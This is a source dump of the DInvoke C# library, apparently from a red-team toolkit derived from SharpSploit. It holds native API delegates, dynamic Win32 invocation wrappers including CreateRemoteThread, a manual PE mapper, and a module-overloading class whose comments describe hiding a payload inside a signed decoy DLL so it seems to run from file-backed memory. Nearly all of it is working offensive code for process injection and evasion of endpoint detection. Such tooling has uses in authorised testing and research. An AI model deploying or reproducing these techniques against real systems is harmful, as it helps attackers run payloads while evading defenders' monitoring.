Data.Win32.Kernel32.ThreadAccess DesiredAccess,
ref Data.Native.OBJECT_ATTRIBUTES ObjectAttributes,
ref Data.Native.CLIENT_ID ClientId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
UInt32 AllocationType,
UInt32 Protect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtFreeVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
ref IntPtr RegionSize,
UInt32 FreeType);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtQueryVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
Data.Native.MEMORYINFOCLASS MemoryInformationClass,
IntPtr MemoryInformation,
UInt32 MemoryInformationLength,
ref UInt32 ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtProtectVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
ref IntPtr RegionSize,
UInt32 NewProtect,
ref UInt32 OldProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtWriteVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
IntPtr Buffer,
UInt32 BufferLength,
ref UInt32 BytesWritten);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 RtlUnicodeStringToAnsiString(
ref Data.Native.ANSI_STRING DestinationString,
ref Data.Native.UNICODE_STRING SourceString,
bool AllocateDestinationString);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 LdrGetProcedureAddress(
IntPtr hModule,
IntPtr FunctionName,
IntPtr Ordinal,
ref IntPtr FunctionAddress);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 RtlGetVersion(
ref Data.Native.OSVERSIONINFOEX VersionInformation);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtReadVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
IntPtr Buffer,
UInt32 NumberOfBytesToRead,
ref UInt32 NumberOfBytesRead);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtOpenFile(
ref IntPtr FileHandle,
Data.Win32.Kernel32.FileAccessFlags DesiredAccess,
ref Data.Native.OBJECT_ATTRIBUTES ObjAttr,
ref Data.Native.IO_STATUS_BLOCK IoStatusBlock,
Data.Win32.Kernel32.FileShareFlags ShareAccess,
Data.Win32.Kernel32.FileOpenFlags OpenOptions);
}
}
}
================================================
FILE: DInvoke.DynamicInvoke/Utilities.cs
================================================
using System;
using System.Security.Cryptography.X509Certificates;
namespace DInvoke.Utilities
{
class Utilities
{
/// <summary>
/// Checks that a file is signed and has a valid signature.
/// </summary>
/// <param name="FilePath">Path of file to check.</param>
/// <returns></returns>
public static bool FileHasValidSignature(string FilePath)
{
X509Certificate2 FileCertificate;
try
{
X509Certificate signer = X509Certificate.CreateFromSignedFile(FilePath);
FileCertificate = new X509Certificate2(signer);
}
catch
{
return false;
}
X509Chain CertificateChain = new X509Chain();
CertificateChain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain;
CertificateChain.ChainPolicy.RevocationMode = X509RevocationMode.Offline;
CertificateChain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag;
return CertificateChain.Build(FileCertificate);
}
}
}
================================================
FILE: DInvoke.DynamicInvoke/Win32.cs
================================================
// Author: Ryan Cobb (@cobbr_io), The Wover (@TheRealWover)
// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
// License: BSD 3-Clause
using System;
using System.Runtime.InteropServices;
namespace DInvoke.DynamicInvoke
{
/// <summary>
/// Contains function prototypes and wrapper functions for dynamically invoking Win32 API Calls.
/// </summary>
public static class Win32
{
/// <summary>
/// Uses DynamicInvocation to call the OpenProcess Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
/// </summary>
/// <author>The Wover (@TheRealWover)</author>
/// <param name="dwDesiredAccess"></param>
/// <param name="bInheritHandle"></param>
/// <param name="dwProcessId"></param>
/// <returns></returns>
public static IntPtr OpenProcess(Data.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId)
{
// Craft an array for the arguments
object[] funcargs =
{
dwDesiredAccess, bInheritHandle, dwProcessId
};
return (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"OpenProcess",
typeof(Delegates.OpenProcess), ref funcargs);
}
public static IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
ref IntPtr lpThreadId)
{
// Craft an array for the arguments
object[] funcargs =
{
hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId
};
IntPtr retValue = (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"CreateRemoteThread",
typeof(Delegates.CreateRemoteThread), ref funcargs);
// Update the modified variables
lpThreadId = (IntPtr)funcargs[6];
return retValue;
}
/// <summary>
/// Uses DynamicInvocation to call the IsWow64Process Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/wow64apiset/nf-wow64apiset-iswow64process
/// </summary>
/// <returns>Returns true if process is WOW64, and false if not (64-bit, or 32-bit on a 32-bit machine).</returns>
public static bool IsWow64Process(IntPtr hProcess, ref bool lpSystemInfo)
{
// Build the set of parameters to pass in to IsWow64Process
object[] funcargs =
{
hProcess, lpSystemInfo
};
bool retVal = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"IsWow64Process", typeof(Delegates.IsWow64Process), ref funcargs);
lpSystemInfo = (bool) funcargs[1];
// Dynamically load and invoke the API call with out parameters
return retVal;
}
public static class Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreateRemoteThread(IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate IntPtr OpenProcess(
Data.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess,
bool bInheritHandle,
UInt32 dwProcessId
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool IsWow64Process(
IntPtr hProcess, ref bool lpSystemInfo
);
}
}
}
================================================
FILE: DInvoke.ManualMap/Map.cs
================================================
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
namespace DInvoke.ManualMap
{
/// <summary>
/// Class for manually mapping PEs.
/// </summary>
public class Map
{
/// <summary>
/// Maps a DLL from disk into a Section using NtCreateSection.
/// </summary>
/// <author>The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLPath">Full path fo the DLL on disk.</param>
/// <returns>PE.PE_MANUAL_MAP</returns>
public static Data.PE.PE_MANUAL_MAP MapModuleFromDisk(string DLLPath)
{
// Check file exists
if (!File.Exists(DLLPath))
{
throw new InvalidOperationException("Filepath not found.");
}
// Open file handle
Data.Native.UNICODE_STRING ObjectName = new Data.Native.UNICODE_STRING();
DynamicInvoke.Native.RtlInitUnicodeString(ref ObjectName, (@"\??\" + DLLPath));
IntPtr pObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(ObjectName));
Marshal.StructureToPtr(ObjectName, pObjectName, true);
Data.Native.OBJECT_ATTRIBUTES objectAttributes = new Data.Native.OBJECT_ATTRIBUTES();
objectAttributes.Length = Marshal.SizeOf(objectAttributes);
objectAttributes.ObjectName = pObjectName;
objectAttributes.Attributes = 0x40; // OBJ_CASE_INSENSITIVE
Data.Native.IO_STATUS_BLOCK ioStatusBlock = new Data.Native.IO_STATUS_BLOCK();
IntPtr hFile = IntPtr.Zero;
DynamicInvoke.Native.NtOpenFile(
ref hFile,
Data.Win32.Kernel32.FileAccessFlags.FILE_READ_DATA |
Data.Win32.Kernel32.FileAccessFlags.FILE_EXECUTE |
Data.Win32.Kernel32.FileAccessFlags.FILE_READ_ATTRIBUTES |
Data.Win32.Kernel32.FileAccessFlags.SYNCHRONIZE,
ref objectAttributes, ref ioStatusBlock,
Data.Win32.Kernel32.FileShareFlags.FILE_SHARE_READ |
Data.Win32.Kernel32.FileShareFlags.FILE_SHARE_DELETE,
Data.Win32.Kernel32.FileOpenFlags.FILE_SYNCHRONOUS_IO_NONALERT |
Data.Win32.Kernel32.FileOpenFlags.FILE_NON_DIRECTORY_FILE
);
// Create section from hFile
IntPtr hSection = IntPtr.Zero;
ulong MaxSize = 0;
Data.Native.NTSTATUS ret = DynamicInvoke.Native.NtCreateSection(
ref hSection,
(UInt32)Data.Win32.WinNT.ACCESS_MASK.SECTION_ALL_ACCESS,
IntPtr.Zero,
ref MaxSize,
Data.Win32.WinNT.PAGE_READONLY,
Data.Win32.WinNT.SEC_IMAGE,
hFile
);
// Map view of file
IntPtr pBaseAddress = IntPtr.Zero;
DynamicInvoke.Native.NtMapViewOfSection(
hSection, (IntPtr)(-1), ref pBaseAddress,
IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
ref MaxSize, 0x2, 0x0,
Data.Win32.WinNT.PAGE_READWRITE
);
// Prepare return object
Data.PE.PE_MANUAL_MAP SecMapObject = new Data.PE.PE_MANUAL_MAP
{
PEINFO = DynamicInvoke.Generic.GetPeMetaData(pBaseAddress),
ModuleBase = pBaseAddress
};
return SecMapObject;
}
/// <summary>
/// Allocate file to memory from disk
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="FilePath">Full path to the file to be alloacted.</param>
/// <returns>IntPtr base address of the allocated file.</returns>
public static IntPtr AllocateFileToMemory(string FilePath)
{
if (!File.Exists(FilePath))
{
throw new InvalidOperationException("Filepath not found.");
}
byte[] bFile = File.ReadAllBytes(FilePath);
return AllocateBytesToMemory(bFile);
}
/// <summary>
/// Allocate a byte array to memory
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="FileByteArray">Byte array to be allocated.</param>
/// <returns>IntPtr base address of the allocated file.</returns>
public static IntPtr AllocateBytesToMemory(byte[] FileByteArray)
{
IntPtr pFile = Marshal.AllocHGlobal(FileByteArray.Length);
Marshal.Copy(FileByteArray, 0, pFile, FileByteArray.Length);
return pFile;
}
/// <summary>
/// Relocates a module in memory.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="PEINFO">Module meta data struct (PE.PE_META_DATA).</param>
/// <param name="ModuleMemoryBase">Base address of the module in memory.</param>
/// <returns>void</returns>
public static void RelocateModule(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
{
Data.PE.IMAGE_DATA_DIRECTORY idd = PEINFO.Is32Bit ? PEINFO.OptHeader32.BaseRelocationTable : PEINFO.OptHeader64.BaseRelocationTable;
Int64 ImageDelta = PEINFO.Is32Bit ? (Int64)((UInt64)ModuleMemoryBase - PEINFO.OptHeader32.ImageBase) :
(Int64)((UInt64)ModuleMemoryBase - PEINFO.OptHeader64.ImageBase);
// Ptr for the base reloc table
IntPtr pRelocTable = (IntPtr)((UInt64)ModuleMemoryBase + idd.VirtualAddress);
Int32 nextRelocTableBlock = -1;
// Loop reloc blocks
while (nextRelocTableBlock != 0)
{
Data.PE.IMAGE_BASE_RELOCATION ibr = new Data.PE.IMAGE_BASE_RELOCATION();
ibr = (Data.PE.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(pRelocTable, typeof(Data.PE.IMAGE_BASE_RELOCATION));
Int64 RelocCount = ((ibr.SizeOfBlock - Marshal.SizeOf(ibr)) / 2);
for (int i = 0; i < RelocCount; i++)
{
// Calculate reloc entry ptr
IntPtr pRelocEntry = (IntPtr)((UInt64)pRelocTable + (UInt64)Marshal.SizeOf(ibr) + (UInt64)(i * 2));
UInt16 RelocValue = (UInt16)Marshal.ReadInt16(pRelocEntry);
// Parse reloc value
// The type should only ever be 0x0, 0x3, 0xA
// https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#base-relocation-types
UInt16 RelocType = (UInt16)(RelocValue >> 12);
UInt16 RelocPatch = (UInt16)(RelocValue & 0xfff);
// Perform relocation
if (RelocType != 0) // IMAGE_REL_BASED_ABSOLUTE (0 -> skip reloc)
{
try
{
IntPtr pPatch = (IntPtr)((UInt64)ModuleMemoryBase + ibr.VirtualAdress + RelocPatch);
if (RelocType == 0x3) // IMAGE_REL_BASED_HIGHLOW (x86)
{
Int32 OriginalPtr = Marshal.ReadInt32(pPatch);
Marshal.WriteInt32(pPatch, (OriginalPtr + (Int32)ImageDelta));
}
else // IMAGE_REL_BASED_DIR64 (x64)
{
Int64 OriginalPtr = Marshal.ReadInt64(pPatch);
Marshal.WriteInt64(pPatch, (OriginalPtr + ImageDelta));
}
}
catch
{
throw new InvalidOperationException("Memory access violation.");
}
}
}
// Check for next block
pRelocTable = (IntPtr)((UInt64)pRelocTable + ibr.SizeOfBlock);
nextRelocTableBlock = Marshal.ReadInt32(pRelocTable);
}
}
/// <summary>
/// Rewrite IAT for manually mapped module.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="PEINFO">Module meta data struct (PE.PE_META_DATA).</param>
/// <param name="ModuleMemoryBase">Base address of the module in memory.</param>
/// <returns>void</returns>
public static void RewriteModuleIAT(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
{
Data.PE.IMAGE_DATA_DIRECTORY idd = PEINFO.Is32Bit ? PEINFO.OptHeader32.ImportTable : PEINFO.OptHeader64.ImportTable;
// Check if there is no import table
if (idd.VirtualAddress == 0)
{
// Return so that the rest of the module mapping process may continue.
return;
}
// Ptr for the base import directory
IntPtr pImportTable = (IntPtr)((UInt64)ModuleMemoryBase + idd.VirtualAddress);
// Get API Set mapping dictionary if on Win10+
Data.Native.OSVERSIONINFOEX OSVersion = new Data.Native.OSVERSIONINFOEX();
DynamicInvoke.Native.RtlGetVersion(ref OSVersion);
Dictionary<string, string> ApiSetDict = new Dictionary<string, string>();
if (OSVersion.MajorVersion >= 10)
{
ApiSetDict = DynamicInvoke.Generic.GetApiSetMapping();
}
// Loop IID's
int counter = 0;
Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR iid = new Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR();
iid = (Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure(
(IntPtr)((UInt64)pImportTable + (uint)(Marshal.SizeOf(iid) * counter)),
typeof(Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)
);
while (iid.Name != 0)
{
// Get DLL
string DllName = string.Empty;
try
{
DllName = Marshal.PtrToStringAnsi((IntPtr)((UInt64)ModuleMemoryBase + iid.Name));
}
catch { }
// Loop imports
if (DllName == string.Empty)
{
throw new InvalidOperationException("Failed to read DLL name.");
}
else
{
string LookupKey = DllName.Substring(0, DllName.Length - 6) + ".dll";
// API Set DLL? Ignore the patch number.
if (OSVersion.MajorVersion >= 10 && (DllName.StartsWith("api-") || DllName.StartsWith("ext-")) &&
ApiSetDict.ContainsKey(LookupKey) && ApiSetDict[LookupKey].Length > 0)
{
// Not all API set DLL's have a registered host mapping
DllName = ApiSetDict[LookupKey];
}
// Check and / or load DLL
IntPtr hModule = DynamicInvoke.Generic.GetLoadedModuleAddress(DllName);
if (hModule == IntPtr.Zero)
{
hModule = DynamicInvoke.Generic.LoadModuleFromDisk(DllName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DllName + ", unable to find the specified file.");
}
}
// Loop thunks
if (PEINFO.Is32Bit)
{
Data.PE.IMAGE_THUNK_DATA32 oft_itd = new Data.PE.IMAGE_THUNK_DATA32();
for (int i = 0; true; i++)
{
oft_itd = (Data.PE.IMAGE_THUNK_DATA32)Marshal.PtrToStructure((IntPtr)((UInt64)ModuleMemoryBase + iid.OriginalFirstThunk + (UInt32)(i * (sizeof(UInt32)))), typeof(Data.PE.IMAGE_THUNK_DATA32));
IntPtr ft_itd = (IntPtr)((UInt64)ModuleMemoryBase + iid.FirstThunk + (UInt64)(i * (sizeof(UInt32))));
if (oft_itd.AddressOfData == 0)
{
break;
}
if (oft_itd.AddressOfData < 0x80000000) // !IMAGE_ORDINAL_FLAG32
{
IntPtr pImpByName = (IntPtr)((UInt64)ModuleMemoryBase + oft_itd.AddressOfData + sizeof(UInt16));
IntPtr pFunc = IntPtr.Zero;
pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, Marshal.PtrToStringAnsi(pImpByName));
// Write ProcAddress
Marshal.WriteInt32(ft_itd, pFunc.ToInt32());
}
else
{
ulong fOrdinal = oft_itd.AddressOfData & 0xFFFF;
IntPtr pFunc = IntPtr.Zero;
pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, (short)fOrdinal);
// Write ProcAddress
Marshal.WriteInt32(ft_itd, pFunc.ToInt32());
}
}
}
else
{
Data.PE.IMAGE_THUNK_DATA64 oft_itd = new Data.PE.IMAGE_THUNK_DATA64();
for (int i = 0; true; i++)
{
oft_itd = (Data.PE.IMAGE_THUNK_DATA64)Marshal.PtrToStructure((IntPtr)((UInt64)ModuleMemoryBase + iid.OriginalFirstThunk + (UInt64)(i * (sizeof(UInt64)))), typeof(Data.PE.IMAGE_THUNK_DATA64));
IntPtr ft_itd = (IntPtr)((UInt64)ModuleMemoryBase + iid.FirstThunk + (UInt64)(i * (sizeof(UInt64))));
if (oft_itd.AddressOfData == 0)
{
break;
}
if (oft_itd.AddressOfData < 0x8000000000000000) // !IMAGE_ORDINAL_FLAG64
{
IntPtr pImpByName = (IntPtr)((UInt64)ModuleMemoryBase + oft_itd.AddressOfData + sizeof(UInt16));
IntPtr pFunc = IntPtr.Zero;
pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, Marshal.PtrToStringAnsi(pImpByName));
// Write pointer
Marshal.WriteInt64(ft_itd, pFunc.ToInt64());
}
else
{
ulong fOrdinal = oft_itd.AddressOfData & 0xFFFF;
IntPtr pFunc = IntPtr.Zero;
pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, (short)fOrdinal);
// Write pointer
Marshal.WriteInt64(ft_itd, pFunc.ToInt64());
}
}
}
// Go to the next IID
counter++;
iid = (Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure(
(IntPtr)((UInt64)pImportTable + (uint)(Marshal.SizeOf(iid) * counter)),
typeof(Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)
);
}
}
}
/// <summary>
/// Set correct module section permissions.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="PEINFO">Module meta data struct (PE.PE_META_DATA).</param>
/// <param name="ModuleMemoryBase">Base address of the module in memory.</param>
/// <returns>void</returns>
public static void SetModuleSectionPermissions(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
{
// Apply RO to the module header
IntPtr BaseOfCode = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.BaseOfCode : (IntPtr)PEINFO.OptHeader64.BaseOfCode;
DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref ModuleMemoryBase, ref BaseOfCode, Data.Win32.WinNT.PAGE_READONLY);
// Apply section permissions
foreach (Data.PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections)
{
bool isRead = (ish.Characteristics & Data.PE.DataSectionFlags.MEM_READ) != 0;
bool isWrite = (ish.Characteristics & Data.PE.DataSectionFlags.MEM_WRITE) != 0;
bool isExecute = (ish.Characteristics & Data.PE.DataSectionFlags.MEM_EXECUTE) != 0;
uint flNewProtect = 0;
if (isRead & !isWrite & !isExecute)
{
flNewProtect = Data.Win32.WinNT.PAGE_READONLY;
}
else if (isRead & isWrite & !isExecute)
{
flNewProtect = Data.Win32.WinNT.PAGE_READWRITE;
}
else if (isRead & isWrite & isExecute)
{
flNewProtect = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE;
}
else if (isRead & !isWrite & isExecute)
{
flNewProtect = Data.Win32.WinNT.PAGE_EXECUTE_READ;
}
else if (!isRead & !isWrite & isExecute)
{
flNewProtect = Data.Win32.WinNT.PAGE_EXECUTE;
}
else
{
throw new InvalidOperationException("Unknown section flag, " + ish.Characteristics);
}
// Calculate base
IntPtr pVirtualSectionBase = (IntPtr)((UInt64)ModuleMemoryBase + ish.VirtualAddress);
IntPtr ProtectSize = (IntPtr)ish.VirtualSize;
// Set protection
DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref pVirtualSectionBase, ref ProtectSize, flNewProtect);
}
}
/// <summary>
/// Manually map module into current process.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="ModulePath">Full path to the module on disk.</param>
/// <returns>PE_MANUAL_MAP object</returns>
public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(string ModulePath)
{
// Alloc module into memory for parsing
IntPtr pModule = AllocateFileToMemory(ModulePath);
return MapModuleToMemory(pModule);
}
/// <summary>
/// Manually map module into current process.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="Module">Full byte array of the module.</param>
/// <returns>PE_MANUAL_MAP object</returns>
public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(byte[] Module)
{
// Alloc module into memory for parsing
IntPtr pModule = AllocateBytesToMemory(Module);
return MapModuleToMemory(pModule);
}
/// <summary>
/// Manually map module into current process starting at the specified base address.
/// </summary>
/// <author>The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)</author>
/// <param name="Module">Full byte array of the module.</param>
/// <param name="pImage">Address in memory to map module to.</param>
/// <returns>PE_MANUAL_MAP object</returns>
public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(byte[] Module, IntPtr pImage)
{
// Alloc module into memory for parsing
IntPtr pModule = AllocateBytesToMemory(Module);
return MapModuleToMemory(pModule, pImage);
}
/// <summary>
/// Manually map module into current process.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="pModule">Pointer to the module base.</param>
/// <returns>PE_MANUAL_MAP object</returns>
public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule)
{
// Fetch PE meta data
Data.PE.PE_META_DATA PEINFO = DynamicInvoke.Generic.GetPeMetaData(pModule);
// Check module matches the process architecture
if ((PEINFO.Is32Bit && IntPtr.Size == 8) || (!PEINFO.Is32Bit && IntPtr.Size == 4))
{
Marshal.FreeHGlobal(pModule);
throw new InvalidOperationException("The module architecture does not match the process architecture.");
}
// Alloc PE image memory -> RW
IntPtr BaseAddress = IntPtr.Zero;
IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
IntPtr pImage = DynamicInvoke.Native.NtAllocateVirtualMemory(
(IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,
Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE,
Data.Win32.WinNT.PAGE_READWRITE
);
return MapModuleToMemory(pModule, pImage, PEINFO);
}
/// <summary>
/// Manually map module into current process.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="pModule">Pointer to the module base.</param>
/// <param name="pImage">Pointer to the PEINFO image.</param>
/// <returns>PE_MANUAL_MAP object</returns>
public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule, IntPtr pImage)
{
Data.PE.PE_META_DATA PEINFO = DynamicInvoke.Generic.GetPeMetaData(pModule);
return MapModuleToMemory(pModule, pImage, PEINFO);
}
/// <summary>
/// Manually map module into current process.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="pModule">Pointer to the module base.</param>
/// <param name="pImage">Pointer to the PEINFO image.</param>
/// <param name="PEINFO">PE_META_DATA of the module being mapped.</param>
/// <returns>PE_MANUAL_MAP object</returns>
public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule, IntPtr pImage, Data.PE.PE_META_DATA PEINFO)
{
// Check module matches the process architecture
if ((PEINFO.Is32Bit && IntPtr.Size == 8) || (!PEINFO.Is32Bit && IntPtr.Size == 4))
{
Marshal.FreeHGlobal(pModule);
throw new InvalidOperationException("The module architecture does not match the process architecture.");
}
// Write PE header to memory
UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders;
UInt32 BytesWritten = DynamicInvoke.Native.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders);
// Write sections to memory
foreach (Data.PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections)
{
// Calculate offsets
IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress);
IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData);
// Write data
BytesWritten = DynamicInvoke.Native.NtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData);
if (BytesWritten != ish.SizeOfRawData)
{
throw new InvalidOperationException("Failed to write to memory.");
}
}
// Perform relocations
RelocateModule(PEINFO, pImage);
// Rewrite IAT
RewriteModuleIAT(PEINFO, pImage);
// Set memory protections
SetModuleSectionPermissions(PEINFO, pImage);
// Free temp HGlobal
Marshal.FreeHGlobal(pModule);
// Prepare return object
Data.PE.PE_MANUAL_MAP ManMapObject = new Data.PE.PE_MANUAL_MAP
{
ModuleBase = pImage,
PEINFO = PEINFO
};
return ManMapObject;
}
/// <summary>
/// Free a module that was mapped into the current process.
/// </summary>
/// <author>The Wover (@TheRealWover)</author>
/// <param name="PEMapped">The metadata of the manually mapped module.</param>
public static void FreeModule(Data.PE.PE_MANUAL_MAP PEMapped)
{
// Check if PE was mapped via module overloading
if (!string.IsNullOrEmpty(PEMapped.DecoyModule))
{
DynamicInvoke.Native.NtUnmapViewOfSection((IntPtr)(-1), PEMapped.ModuleBase);
}
// If PE not mapped via module overloading, free the memory.
else
{
Data.PE.PE_META_DATA PEINFO = PEMapped.PEINFO;
// Get the size of the module in memory
IntPtr size = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
IntPtr pModule = PEMapped.ModuleBase;
DynamicInvoke.Native.NtFreeVirtualMemory((IntPtr)(-1), ref pModule, ref size, Data.Win32.Kernel32.MEM_RELEASE);
}
}
}
}
================================================
FILE: DInvoke.ManualMap/Overload.cs
================================================
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using Data = DInvoke.Data;
using Utilities = DInvoke.Utilities;
using DynamicInvoke = DInvoke.DynamicInvoke;
namespace DInvoke.ManualMap
{
public class Overload
{
/// <summary>
/// Locate a signed module with a minimum size which can be used for overloading.
/// </summary>
/// <author>The Wover (@TheRealWover)</author>
/// <param name="MinSize">Minimum module byte size.</param>
/// <param name="LegitSigned">Whether to require that the module be legitimately signed.</param>
/// <returns>
/// String, the full path for the candidate module if one is found, or an empty string if one is not found.
/// </returns>
public static string FindDecoyModule(long MinSize, bool LegitSigned = true)
{
string SystemDirectoryPath = Environment.GetEnvironmentVariable("WINDIR") + Path.DirectorySeparatorChar + "System32";
List<string> files = new List<string>(Directory.GetFiles(SystemDirectoryPath, "*.dll"));
foreach (ProcessModule Module in Process.GetCurrentProcess().Modules)
{
if (files.Any(s => s.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)))
{
files.RemoveAt(files.FindIndex(x => x.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)));
}
}
//Pick a random candidate that meets the requirements
Random r = new Random();
//List of candidates that have been considered and rejected
List<int> candidates = new List<int>();
while (candidates.Count != files.Count)
{
//Iterate through the list of files randomly
int rInt = r.Next(0, files.Count);
string currentCandidate = files[rInt];
//Check that the size of the module meets requirements
if (candidates.Contains(rInt) == false &&
new FileInfo(currentCandidate).Length >= MinSize)
{
//Check that the module meets signing requirements
if (LegitSigned == true)
{
if (Utilities.Utilities.FileHasValidSignature(currentCandidate) == true)
return currentCandidate;
else
candidates.Add(rInt);
}
else
return currentCandidate;
}
candidates.Add(rInt);
}
return string.Empty;
}
/// <summary>
/// Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that
/// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.
/// </summary>
/// <author>The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)</author>
/// <param name="PayloadPath">Full path to the payload module on disk.</param>
/// <param name="DecoyModulePath">Optional, full path the decoy module to overload in memory.</param>
/// <returns>PE.PE_MANUAL_MAP</returns>
public static Data.PE.PE_MANUAL_MAP OverloadModule(string PayloadPath, string DecoyModulePath = null, bool LegitSigned = true)
{
// Get approximate size of Payload
if (!File.Exists(PayloadPath))
{
throw new InvalidOperationException("Payload filepath not found.");
}
byte[] Payload = File.ReadAllBytes(PayloadPath);
return OverloadModule(Payload, DecoyModulePath, LegitSigned);
}
/// <summary>
/// Load a signed decoy module into memory creating legitimate file-backed memory sections within the process. Afterwards overload that
/// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.
/// </summary>
/// <author>The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)</author>
/// <param name="Payload">Full byte array for the payload module.</param>
/// <param name="DecoyModulePath">Optional, full path the decoy module to overload in memory.</param>
/// <returns>PE.PE_MANUAL_MAP</returns>
